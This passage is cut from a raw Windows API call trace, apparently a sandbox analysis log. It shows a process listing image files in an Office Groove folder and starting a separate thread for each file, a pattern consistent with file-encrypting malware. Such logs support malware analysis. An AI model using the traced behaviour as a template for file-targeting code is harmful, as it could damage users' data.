lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf8 [0126.860] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataListIconImagesMask.bmp", cAlternateFileName="DATALI~1.BMP")) returned 1 [0126.860] wcscmp (_String1="DataListIconImagesMask.bmp", _String2=".") returned 1 [0126.860] wcscmp (_String1="DataListIconImagesMask.bmp", _String2="..") returned 1 [0126.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107480 [0126.860] wcscpy (in: _Dest=0x107480, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.860] wcscat (in: _Dest=0x107480, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.860] wcscat (in: _Dest=0x107480, _Source="DataListIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp" [0126.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf4 [0126.861] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataViewIconImages.jpg", cAlternateFileName="DATAVI~1.JPG")) returned 1 [0126.861] wcscmp (_String1="DataViewIconImages.jpg", _String2=".") returned 1 [0126.861] wcscmp (_String1="DataViewIconImages.jpg", _String2="..") returned 1 [0126.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202ac580 [0126.861] wcscpy (in: _Dest=0x202ac580, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.861] wcscat (in: _Dest=0x202ac580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.861] wcscat (in: _Dest=0x202ac580, _Source="DataViewIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" [0126.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf0 [0126.862] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataViewIconImagesMask.bmp", cAlternateFileName="DATAVI~1.BMP")) returned 1 [0126.862] wcscmp (_String1="DataViewIconImagesMask.bmp", _String2=".") returned 1 [0126.862] wcscmp (_String1="DataViewIconImagesMask.bmp", _String2="..") returned 1 [0126.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106dc0 [0126.862] wcscpy (in: _Dest=0x106dc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.862] wcscat (in: _Dest=0x106dc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.863] wcscat (in: _Dest=0x106dc0, _Source="DataViewIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp" [0126.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbec [0126.864] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2eaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1 [0126.864] wcscmp (_String1="DiscussionToolIconImages.jpg", _String2=".") returned 1 [0126.864] wcscmp (_String1="DiscussionToolIconImages.jpg", _String2="..") returned 1 [0126.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x107240 [0126.864] wcscpy (in: _Dest=0x107240, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.864] wcscat (in: _Dest=0x107240, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.864] wcscat (in: _Dest=0x107240, _Source="DiscussionToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" [0126.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe8 [0126.865] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="DISCUS~1.BMP")) returned 1 [0126.865] wcscmp (_String1="DiscussionToolIconImagesMask.bmp", _String2=".") returned 1 [0126.865] wcscmp (_String1="DiscussionToolIconImagesMask.bmp", _String2="..") returned 1 [0126.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x107180 [0126.865] wcscpy (in: _Dest=0x107180, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.865] wcscat (in: _Dest=0x107180, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.865] wcscat (in: _Dest=0x107180, _Source="DiscussionToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp" [0126.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe4 [0126.866] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f61e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72f61e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form_StatusImage.jpg", cAlternateFileName="FORM_S~1.JPG")) returned 1 [0126.866] wcscmp (_String1="Form_StatusImage.jpg", _String2=".") returned 1 [0126.866] wcscmp (_String1="Form_StatusImage.jpg", _String2="..") returned 1 [0126.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ac790 [0126.867] wcscpy (in: _Dest=0x202ac790, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.867] wcscat (in: _Dest=0x202ac790, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.867] wcscat (in: _Dest=0x202ac790, _Source="Form_StatusImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" [0126.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe0 [0126.868] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3618, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form_StatusImageMask.bmp", cAlternateFileName="FORM_S~1.BMP")) returned 1 [0126.868] wcscmp (_String1="Form_StatusImageMask.bmp", _String2=".") returned 1 [0126.868] wcscmp (_String1="Form_StatusImageMask.bmp", _String2="..") returned 1 [0126.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac8f0 [0126.868] wcscpy (in: _Dest=0x202ac8f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.868] wcscat (in: _Dest=0x202ac8f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.868] wcscat (in: _Dest=0x202ac8f0, _Source="Form_StatusImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp" [0126.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbdc [0126.869] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1d29, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRIP.JPG", cAlternateFileName="")) returned 1 [0126.870] wcscmp (_String1="GRIP.JPG", _String2=".") returned 1 [0126.870] wcscmp (_String1="GRIP.JPG", _String2="..") returned 1 [0126.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86ae90 [0126.870] wcscpy (in: _Dest=0x1b86ae90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.870] wcscat (in: _Dest=0x1b86ae90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.870] wcscat (in: _Dest=0x1b86ae90, _Source="GRIP.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" [0126.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ae90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd8 [0126.871] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c0e850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRIPMASK.BMP", cAlternateFileName="")) returned 1 [0126.871] wcscmp (_String1="GRIPMASK.BMP", _String2=".") returned 1 [0126.871] wcscmp (_String1="GRIPMASK.BMP", _String2="..") returned 1 [0126.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027a330 [0126.871] wcscpy (in: _Dest=0x2027a330, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.871] wcscat (in: _Dest=0x2027a330, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.872] wcscat (in: _Dest=0x2027a330, _Source="GRIPMASK.BMP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP" [0126.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd4 [0126.873] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="InformationIcon.jpg", cAlternateFileName="INFORM~1.JPG")) returned 1 [0126.873] wcscmp (_String1="InformationIcon.jpg", _String2=".") returned 1 [0126.873] wcscmp (_String1="InformationIcon.jpg", _String2="..") returned 1 [0126.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202acdc0 [0126.873] wcscpy (in: _Dest=0x202acdc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.873] wcscat (in: _Dest=0x202acdc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.873] wcscat (in: _Dest=0x202acdc0, _Source="InformationIcon.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" [0126.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202acdc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd0 [0126.887] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="InformationIconMask.bmp", cAlternateFileName="INFORM~1.BMP")) returned 1 [0126.887] wcscmp (_String1="InformationIconMask.bmp", _String2=".") returned 1 [0126.887] wcscmp (_String1="InformationIconMask.bmp", _String2="..") returned 1 [0126.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad290 [0126.888] wcscpy (in: _Dest=0x202ad290, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.888] wcscat (in: _Dest=0x202ad290, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.888] wcscat (in: _Dest=0x202ad290, _Source="InformationIconMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp" [0126.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c4 [0126.889] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x675aa300, ftCreationTime.dwHighDateTime=0x1c9f921, ftLastAccessTime.dwLowDateTime=0x581a1510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x675aa300, ftLastWriteTime.dwHighDateTime=0x1c9f921, nFileSizeHigh=0x0, nFileSizeLow=0xceed, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginDialogBackground.jpg", cAlternateFileName="LOGIND~1.JPG")) returned 1 [0126.889] wcscmp (_String1="LoginDialogBackground.jpg", _String2=".") returned 1 [0126.889] wcscmp (_String1="LoginDialogBackground.jpg", _String2="..") returned 1 [0126.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106880 [0126.889] wcscpy (in: _Dest=0x106880, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.889] wcscat (in: _Dest=0x106880, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.889] wcscat (in: _Dest=0x106880, _Source="LoginDialogBackground.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginDialogBackground.jpg" [0126.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb4 [0126.890] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginTool24x24Images.jpg", cAlternateFileName="LOGINT~1.JPG")) returned 1 [0126.890] wcscmp (_String1="LoginTool24x24Images.jpg", _String2=".") returned 1 [0126.890] wcscmp (_String1="LoginTool24x24Images.jpg", _String2="..") returned 1 [0126.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac9a0 [0126.890] wcscpy (in: _Dest=0x202ac9a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.890] wcscat (in: _Dest=0x202ac9a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.890] wcscat (in: _Dest=0x202ac9a0, _Source="LoginTool24x24Images.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" [0126.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb0 [0126.891] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xaf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginTool24x24ImagesMask.bmp", cAlternateFileName="LOGINT~1.BMP")) returned 1 [0126.891] wcscmp (_String1="LoginTool24x24ImagesMask.bmp", _String2=".") returned 1 [0126.891] wcscmp (_String1="LoginTool24x24ImagesMask.bmp", _String2="..") returned 1 [0126.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x107d80 [0126.892] wcscpy (in: _Dest=0x107d80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.892] wcscat (in: _Dest=0x107d80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.892] wcscat (in: _Dest=0x107d80, _Source="LoginTool24x24ImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp" [0126.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbac [0126.893] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x25e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageAttachmentIconImages.jpg", cAlternateFileName="MESSAG~2.JPG")) returned 1 [0126.893] wcscmp (_String1="MessageAttachmentIconImages.jpg", _String2=".") returned 1 [0126.893] wcscmp (_String1="MessageAttachmentIconImages.jpg", _String2="..") returned 1 [0126.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x107fc0 [0126.893] wcscpy (in: _Dest=0x107fc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft 